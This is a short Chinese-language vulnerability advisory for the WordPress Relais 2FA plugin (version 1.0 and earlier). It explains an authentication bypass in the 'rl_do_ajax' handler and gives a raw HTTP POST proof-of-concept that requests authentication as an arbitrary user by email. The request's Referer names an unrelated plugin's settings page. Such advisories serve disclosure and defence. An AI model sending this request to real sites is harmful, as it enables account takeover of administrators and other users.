Relais 2FA <= 1.0 - 认证绕过
WordPress 的 Relais 2FA 插件在 1.0 及之前版本中存在认证绕过漏洞。这是由 'rl_do_ajax' 函数中的身份认证与权限检查不正确所致。这使得未经认证的攻击者只要能够访问用户的电子邮件，就可以以站点上任何现有用户（如管理员）的身份登录。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-time-capsule-settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=rl_do_ajax&rl_action=authenticate&nonce=213123123&[email protected]